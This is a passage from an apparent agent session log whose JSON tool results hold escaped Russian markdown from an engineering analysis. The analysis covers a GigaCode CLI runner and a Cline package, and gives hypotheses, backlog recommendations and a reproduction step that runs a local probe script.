\u0432\u044b\u0431\u0438\u0440\u0430\u0439\u0442\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442.**\\n446\\t    \u0415\u0441\u0442\u044c \u043b\u0438 \u0443 \u0441\u0440\u0435\u0434\u044b API \u043c\u043e\u0434\u0435\u043b\u0438, \u043c\u043e\u0436\u043d\u043e \u043b\u0438 \u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440, \u043a\u0430\u043a\u0438\u0435 \u043e\u0431\u0440\u0430\u0437\u044b\\n447\\t    \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0438\u0437 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438. \u0418\u043d\u0430\u0447\u0435 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u2014\\n448\\t    \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043d\u0435\u043b\u044c\u0437\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c ([\u0413-42](#\u0433-42), [\u0413-43](#\u0433-43)).\\n449\\t\\n450\\t## \u0412\u044b\u0432\u043e\u0434: \u0432\u0435\u043a\u0442\u043e\u0440 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0438 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u043a \u043e\u0442\u043b\u0430\u0434\u043a\u0435\\n451\\t\\n452\\t**\u0412\u0435\u043a\u0442\u043e\u0440 \u0432\u0435\u0440\u043d\u044b\u0439, \u043d\u043e \u0443 \u043d\u0435\u0433\u043e \u043d\u0435 \u0445\u0432\u0430\u0442\u0430\u043b\u043e \u043e\u0434\u043d\u043e\u0433\u043e \u0437\u0432\u0435\u043d\u0430.** Source \u2192\\n453\\tDistribution \u2192 Runtime \u2192 Feedback \u043f\u043e\\n454\\t[ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md)\\n455\\t\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043e\u0442\u0434\u0435\u043b\u044f\u0435\u0442 \u0442\u0435\u043e\u0440\u0438\u044e \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f. \u041d\u0435\u0434\u043e\u0441\u0442\u0430\u044e\u0449\u0435\u0435 \u0437\u0432\u0435\u043d\u043e \u2014 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\\n456\\t\u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430: \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438. \u0415\u0433\u043e \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\\n457\\t\u043f\u043e\u043a\u0443\u043f\u0430\u0442\u044c; \u0435\u0433\u043e \u043d\u0443\u0436\u043d\u043e \u0434\u043e\u043f\u0438\u0441\u0430\u0442\u044c \u0438\u0437 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e runner GigaCode. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n458\\t\u0434\u0432\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u2014 \u044d\u0442\u043e \u043e\u0434\u043d\u0430 \u0442\u0440\u0430\u0435\u043a\u0442\u043e\u0440\u0438\u044f: \u0441\u043d\u0430\u0447\u0430\u043b\u0430 runner-\u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c\\n459\\t\u043c\u0435\u0441\u0442\u0435, \u0437\u0430\u0442\u0435\u043c \u0442\u043e\u0442 \u0436\u0435 runner \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\\n460\\t\\n461\\t**\u0413\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u043a \u043e\u0442\u043b\u0430\u0434\u043a\u0435.** \u041f\u0430\u043a\u0435\u0442 Cline \u0433\u043e\u0442\u043e\u0432 \u043a \u043e\u0442\u043b\u0430\u0434\u043a\u0435 \u0441 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u043c\u0438 \u043f\u0435\u0440\u0432\u043e\u0439\\n462\\t\u0447\u0430\u0441\u0442\u0438. Runner GigaCode \u0433\u043e\u0442\u043e\u0432 \u043a \u043e\u0442\u043b\u0430\u0434\u043a\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u0432, \u043d\u043e \u043d\u0435 \u043a \u0437\u0430\u043c\u0435\u0440\u0430\u043c \u043f\u0438\u043b\u043e\u0442\u0430:\\n463\\t\u043f\u043e\u043a\u0430 \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u0430\u043a\u0435\u0442\u0430, \u0437\u0430\u043c\u0435\u0440 `deterministic_share` \u043d\u0438\u0447\u0435\u0433\u043e\\n464\\t\u043d\u0435 \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0448\u0430\u0433\u043e\u0432 ([\u0413-30](#\u0433-30)). \u0414\u043e \u043f\u0435\u0440\u0432\u044b\u0445 10 \u0437\u0430\u0434\u0430\u0447 \u043f\u0438\u043b\u043e\u0442\u0430\\n465\\tADR-018 \u043d\u0443\u0436\u043d\u044b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f 1.1\u20131.3 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 1.\\n466\\t\\n467\\t## \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u0431\u044d\u043a\u043b\u043e\u0433\u0430\\n468\\t\\n469\\t\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u2014 \u0432\u0445\u043e\u0434 \u0434\u043b\u044f \u0431\u044d\u043a\u043b\u043e\u0433\u0430 \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430, \u0430 \u043d\u0435 \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f.\\n470\\t\\n471\\t| \u041f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 | \u0427\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c | \u0422\u0438\u043f | \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u044b | \u0417\u0430\u0434\u0430\u0447\u0430 \u0431\u044d\u043a\u043b\u043e\u0433\u0430 |\\n472\\t|-----------|-------------|-----|----------|----------------|\\n473\\t| 1 | Runner \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b \u0440\u0451\u0431\u0435\u0440 \u0438\u0437 YAML | \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 | [\u0413-28](#\u0433-28) | B-211 |\\n474\\t| 1 | \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430; \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0432\u044b\u0445\u043e\u0434\u044b | \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 \u0438 Source | [\u0413-29](#\u0433-29), [\u0413-30](#\u0433-30) | B-212 |\\n475\\t| 1 | \u041e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0438 \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430; \u043e\u0448\u0438\u0431\u043a\u0430 \u0432\u0432\u043e\u0434\u0430 \u043d\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 | \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 | [\u0413-31](#\u0433-31), [\u0413-32](#\u0433-32), [\u0413-34](#\u0433-34) | B-213 |\\n476\\t| 1 | \u0420\u0435\u0448\u0438\u0442\u044c \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u043f\u044b\u0442\u043a\u0435 `EP-R7` | \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 | [\u0413-33](#\u0433-33) | B-214 |\\n477\\t| 2 | \u041d\u0430\u0437\u043d\u0430\u0447\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438; \u043f\u0435\u0440\u0435\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c `EP-R8` | \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c | [\u0413-26](#\u0433-26), [\u0413-27](#\u0433-27) | B-215 |\\n478\\t| 2 | \u041e\u0434\u043d\u043e \u044f\u0434\u0440\u043e runner \u0434\u043b\u044f \u043f\u0430\u043a\u0435\u0442\u043e\u0432 GigaCode \u0438 Cline; \u043a\u043e\u043c\u0430\u043d\u0434\u0430 `next` | \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 | [\u0413-40](#\u0433-40) | B-216 |\\n479\\t| 2 | \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c GigaCode CLI: \u0432\u0435\u0440\u0441\u0438\u044f, hooks, \u0437\u0430\u043f\u0443\u0441\u043a \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 | \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c | [\u0413-42](#\u0433-42) | B-217 |\\n480\\t| 3 | RFC \u0441\u0440\u0435\u0434\u044b 4: \u0441\u043b\u0443\u0436\u0431\u0430 runner, Postgres, \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0411\u0410, \u043c\u0435\u0441\u0442\u043e n8n; \u0442\u0440\u0438\u0433\u0433\u0435\u0440 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e \u0434\u0432\u0438\u0436\u043a\u0430 | \u0412\u044b\u0431\u043e\u0440 | [\u0413-43](#\u0433-43)\u2026[\u0413-54](#\u0433-54) | B-218 |\\n481\\t\\n482\\t\u0417\u0430\u0434\u0430\u0447\u0438 B-211\u2026B-218 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b \u0432\\n483\\t[\u0421\u043f\u0440\u0438\u043d\u0442 26 \u0431\u044d\u043a\u043b\u043e\u0433\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md)\\n484\\t\u0441\u043e \u0441\u0442\u0430\u0442\u0443\u0441\u043e\u043c `TODO` \u0438 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u043e\u043c `null`: \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u043d\u0430\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0447\u0435\u043b\u043e\u0432\u0435\u043a.\\n485\\t\\n486\\t## \u0412\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0435\\n487\\t\\n488\\t```bash\\n489\\tpip install -r projects/ba-ai-process/dist/execution-package-gigacode-cli/requirements.txt\\n490\\tpython3 projects/ba-ai-process/experiments/issue_639_runner_probes.py\\n491\\t```\\n492\\t\\n493\\t\u0421\u043a\u0440\u0438\u043f\u0442 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u043f\u0430\u043a\u0435\u0442 GigaCode \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u043f\u0430\u043f\u043a\u0443 \u0438 \u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442\\n494\\t\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439. `P10` \u2014 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u043a\u0430\u043a \u0432\u044b\u0445\u043e\u0434 n1, n2 \u0438 n3 \u043f\u043e\u0441\u043b\u0435\\n495\\t\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0433\u043e n0; `P11` \u2014 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b YAML \u043f\u0440\u043e\u0442\u0438\u0432 \u0432\u0435\u0442\u043e\u043a \u0432 Python; `P12` \u2014\\n496\\t\u043e\u0434\u043d\u0430 \u043e\u043f\u0435\u0447\u0430\u0442\u043a\u0430 \u0432 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u0438 \u043f\u043e\u0432\u0442\u043e\u0440 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439. \u0412\u043d\u0435\u0448\u043d\u0438\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438\\n497\\t\u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u044b 2026-09-29; \u0432\u0435\u0440\u0441\u0438\u0438: n8n 2.40.7, Cline 4.1.21, Open WebUI 0.11.4.\\n498\\t\\n499\\t## Related Artifacts\\n500\\t\\n501\\t- [Issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639) \u0438 [\u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u0435 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0432 PR #643](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620) \u2014 \u0437\u0430\u0434\u0430\u0447\u0430 \u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u043e\u0445\u0432\u0430\u0442\u0430.\\n502\\t- [\u041f\u0435\u0440\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c: \u043f\u0430\u043a\u0435\u0442 Cline VS Code](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md) \u2014 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0413-01\u2026\u0413-25.\\n503\\t- [\u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c: \u0440\u0430\u043c\u043a\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0438 `EP-R1`\u2026`EP-R9`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md).\\n504\\t- [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md), [ADR-018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md), [ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md) \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0441\u0440\u0435\u0434.\\n505\\t- [Issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615) \u2014 \u0441\u0440\u0435\u0434\u044b 1\u20134.\\n506\\t- [RFC \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f GigaCode CLI](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md) \u2014 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 C.\\n507\\t- [\u0412\u0435\u0440\u0434\u0438\u043a\u0442 `M4`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md) \u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u0430\u044f 2026 \u043f\u0440\u043e n8n: [\u0434\u043e\u0440\u043e\u0436\u043d\u0430\u044f \u043a\u0430\u0440\u0442\u0430 RAG](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-rag-mapping-roadmap.md), [\u0436\u0438\u0437\u043d\u0435\u043d\u043d\u044b\u0439 \u0446\u0438\u043a\u043b \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-requirements-lifecycle-uncertainty.md).\\n508\\t- [\u042d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.py) \u0438 [\u0436\u0443\u0440\u043d\u0430\u043b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.log).\\n509\\t\"\n[2026-09-29T07:44:41.345Z] [INFO]       }\n[2026-09-29T07:44:41.345Z] [INFO]     ]\n[2026-09-29T07:44:41.345Z] [INFO]   },\n[2026-09-29T07:44:41.345Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:44:41.345Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:41.345Z] [INFO]   \"uuid\": \"74a907b4-f7a7-41ee-a763-c651a829c607\",\n[2026-09-29T07:44:41.345Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:41.096Z\",\n[2026-09-29T07:44:41.345Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:44:41.345Z] [INFO]     \"type\": \"text\",\n[2026-09-29T07:44:41.345Z] [INFO]     \"file\": {\n[2026-09-29T07:44:41.345Z] [INFO]       \"filePath\": \"/home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/b7ejdco20.txt\",\n[2026-09-29T07:44:41.345Z] [INFO]       \"content\": \"   \u043d\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u0438 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f, \u0430 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 `M4` \u0440\u0435\u0448\u0438\u043b \u0432\u043e\u043f\u0440\u043e\u0441 \u043f\u043e\u043a\u0443\u043f\u043a\u0438\\n   \u0434\u0432\u0438\u0436\u043a\u0430, \u043d\u0435 \u043d\u0430\u0437\u0432\u0430\u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f. \u0412 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u0440\u043e\u043b\u044c \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u043b \u0442\u043e\u0442, \u043a\u0442\u043e\\n   \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u0440\u044f\u0434\u043e\u043c: \u0411\u0410 \u0438\u043b\u0438 \u043c\u043e\u0434\u0435\u043b\u044c. \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u044b [\u0413-26](#\u0433-26), [\u0413-36](#\u0433-36),\\n   [\u0413-40](#\u0433-40).\\n8. **\u0413\u0435\u0439\u0442 \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442 \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0448\u0430\u0433\u0430.** \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a\\n   \u0433\u0435\u0439\u0442 \u0443\u0437\u043b\u0430 \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a `script_invoked`, \u043d\u043e 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\u043e\u0442\u043b\u043e\u0436\u0435\u043d \u0431\u0435\u0437 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u043e\u043f\u0440\u043e\u0441\\n   \u00ab\u0430 \u043d\u0435 \u0432\u0437\u044f\u0442\u044c \u043b\u0438 n8n\u00bb \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043d\u0430\u043a\u043e\u043f\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0442\u0432\u0435\u0442\u0430. \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u044b\\n   [\u0413-50](#\u0433-50), [\u0413-54](#\u0433-54).\\n\\n## \u041a\u0430\u043a \u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443: \u0432\u044b\u0431\u043e\u0440 \u0441\u0440\u0435\u0434\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\\n\\n\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435 \u0443\u0447\u0435\u0431\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 (\u043f\u0440\u0430\u0432\u0438\u043b\u0430 1\u20137).\\n\\n8. **\u0414\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0439 \u0440\u043e\u043b\u0438 \u043d\u0430\u0437\u043e\u0432\u0438\u0442\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f.** \u041c\u043e\u0434\u0435\u043b\u044c, \u0430\u0432\u0442\u043e\u0440 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430,\\n   \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0433\u0435\u0439\u0442\u043e\u0432, \u043a\u0430\u043d\u0430\u043b\\n   \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f. \u0415\u0441\u043b\u0438 \u0432 \u0441\u0442\u0440\u043e\u043a\u0435 \u043f\u0443\u0441\u0442\u043e \u0438\u043b\u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043e \u00ab\u0430\u0433\u0435\u043d\u0442 \u043f\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u043c\u00bb \u2014\\n   \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0438 \u043d\u0435\u0442 ([\u0413-26](#\u0433-26)).\\n9. **\u0421\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0439\u0442\u0435, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0433\u0435\u0439\u0442.** \u00abG-mach \u043f\u0440\u043e\u0448\u0451\u043b\u00bb \u043c\u043e\u0436\u0435\u0442\\n   \u0437\u043d\u0430\u0447\u0438\u0442\u044c \u00ab\u043f\u0430\u043a\u0435\u0442 \u0446\u0435\u043b\u00bb, \u0430 \u043d\u0435 \u00ab\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0448\u0430\u0433\u0430 \u0432\u0435\u0440\u0435\u043d\u00bb. \u0422\u0440\u0435\u0431\u0443\u0439\u0442\u0435 \u0432 \u0437\u0430\u0434\u0430\u0447\u0435:\\n   \u00ab\u0433\u0435\u0439\u0442 \u0443\u0437\u043b\u0430 X \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 X \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 Y\u00bb ([\u0413-29](#\u0433-29)).\\n10. **\u041e\u0442\u0434\u0435\u043b\u044f\u0439\u0442\u0435 \u044f\u0434\u0440\u043e \u043e\u0442 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438.** \u042f\u0434\u0440\u043e \u2014 \u0433\u0440\u0430\u0444, \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b,\\n    \u0436\u0443\u0440\u043d\u0430\u043b; \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430 \u2014 \u0447\u0430\u0442, \u0444\u043e\u0440\u043c\u044b, \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f, Jira. \u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\\n    \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0439\u0442\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u043c: \u00ab\u0433\u0434\u0435 \u0431\u0443\u0434\u0435\u0442 \u0436\u0438\u0442\u044c \u0433\u0440\u0430\u0444 \u0438 \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443 \u043d\u0435\u0433\u043e \u0431\u0443\u0434\u0435\u0442\\n    \u043a\u043e\u043f\u0438\u0439?\u00bb \u0415\u0441\u043b\u0438 \u043e\u0442\u0432\u0435\u0442 \u2014 \u00ab\u0435\u0449\u0451 \u043e\u0434\u043d\u0430 \u043a\u043e\u043f\u0438\u044f \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435\u00bb, \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\\n    \u0433\u043e\u0434\u0438\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443 ([\u0413-47](#\u0433-47)).\\n11. **\u041b\u044e\u0431\u043e\u0435 \u00ab\u043e\u0442\u043b\u043e\u0436\u0435\u043d\u043e\u00bb \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0439\u0442\u0435 \u0441 \u0443\u0441\u043b\u043e\u0432\u0438\u0435\u043c \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430.** \u00ab\u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043e \u0434\u043e\\n    \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u00bb \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e; \u00ab\u043e\u0442\u043b\u043e\u0436\u0435\u043d\u043e \u043a\u0430\u043a \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u043e\u0435\u00bb\\n    \u2014 \u043d\u0435\u0442 ([\u0413-54](#\u0433-54)).\\n12. **\u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u044b, 